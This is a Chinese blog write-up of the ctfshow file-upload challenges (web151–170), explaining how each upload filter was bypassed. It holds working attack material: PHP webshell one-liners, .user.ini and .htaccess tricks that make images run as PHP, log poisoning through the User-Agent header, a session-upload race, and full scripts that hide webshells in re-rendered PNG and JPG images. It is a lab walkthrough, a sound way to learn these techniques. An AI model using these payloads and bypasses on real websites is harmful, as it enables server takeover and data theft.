ctfshow---文件上传

来到文件上传了

web151-152

前端过滤,抓包修改下后缀即可

访问upload下1.php

web153

上传一个.user.ini,内容是auto_prepend_file=1.jpg,这是一个配置文件,能指定文件把它当作php执行

 再上传一个1.jpg,里面是一句话即可

这里有个注意的点是上传木马后是访问/upload/这个目录

web154-155

上一题的做法,只是过滤了php,一句话里面用<=短标签即可

web156

过滤了[] 可以用{}替代

web157-158

过滤了{} ; 可以不加分号写读flag语句

web159

过滤了() 可以用``,来执行系统命令

payload:`tac ../f*`

web160

1、先上传一个.user.ini配置文件

2、上传1.jpg里面执行php代码,由于过滤了空格和log所以用下面这种写法也是可以的

让log拆开来,然后php再用.拼回去,去包含他的日志文件

3、访问upload后成功包含了日志文件,接下来再user-agent里面写马即可

4、成功执行

web161

在上面的基础上.user.ini和1.jpg加上GIF89a

web162-163

session竞争

详情可以看下之前写的web82那里,原理基本上差不多

(23条消息) ctfshow---文件包含_Finpo的博客-CSDN博客

1、先上传一个.user.ini:

GIF89a

auto_append_file=/tmp/sess_hacker

就是把session上传的一个临时文件当成php文件执行

2、构造上传包:将地址修改成题目地址

<!DOCTYPE html>
<html>
<body>
<form action="http://9ea713a0-ad0d-4a99-9251-dbcb55e42fff.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

访问,随便上传一个文件抓包

3、发送至intruder

 2333那里就是执行的命令

4、然后再在题目地址访问/upload/抓包发送至intruder模块

 5、两个包设置好后同时爆破

可以看到index.php了,后续只需要修改ls那里变成cat ../f*   然后再重新发即可

web164

png二次渲染

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y + 1];
    $b = $p[$y + 2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, '21.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

先用上面的代码生成一张图片,上传上去

 马的内容是这个:<?$_GET[0]($_POST[1]);?>

访问图片地址传参0和1

图片另存为下载,成功拿到flag

web165

jpg二次渲染

先上传一张jpg图片,经过它的一次渲染后再下载下来

上传这一张图片,成功率高点

 再将下载的图片用脚本这个脚本跑

<?php
#用法,在目录那里cmd打开然后php 文件名 图片名
$miniPayload = '<?=eval($_POST[1]);?>';
if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if (!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for ($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if ($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if ($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0", $nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_' . $argv[1], $outStreamTmp, TRUE);
            if ($extraBytes !== 0) {
                while ((!$dis->eof())) {
                    if ($dis->readByte() === 0xFF) {
                        if ($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0", $nullbytePayloadSize) .
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize + $imageStreamSize - $extraBytes) .
                    substr($outStream, $stopPos);
            } elseif ($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if (checkImage('payload_' . $argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_' . $argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE)
{
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if ($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline)
{
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if (isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream
{
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false)
    {
        $this->binData = '';
        $this->order = $order;
        if (!$fromString) {
            if (!file_exists($filename) || !is_file($filename))
                die('File not exists [' . $filename . ']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek()
    {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte()
    {
        if ($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort()
    {
        if (strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if ($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof()
    {
        return !$this->binData || (strlen($this->binData) === 0);
    }
}

?>

不过要注意一下,图片名不能加路径,然后会生成一个payload_2.jpg图片

将payload_2.jpg上传上去,然后抓包

成功rce了 

web166

f12查看一下,只能上传zip

随便压缩一个文件,然后在里面加上一句话

上传之后,查看文件位置,蚁剑可以直接连接了

web167

发送一个.htaccess文件

内容是这个:

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

 可以将1.jpg当作php执行

在上传.jpg

成功rce了

web168

上传2.php    内容为:

<?php echo `cat /var/www/html/*`;?>

访问upload/2.php

右键查看源代码即可看到flag

 web169

上传一个index.php,至于为什么,因为.user.ini需要index.php这个文件

 在上传.user.ini

接着访问/upload/  ua头里面写马,访问两次,可以看到执行phpinfo了,rce了

 

web170

上传一个zip文件,修改一下这里Content-Type: image/png

在内容前面加上GIF89a,剩下的和169差不多

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值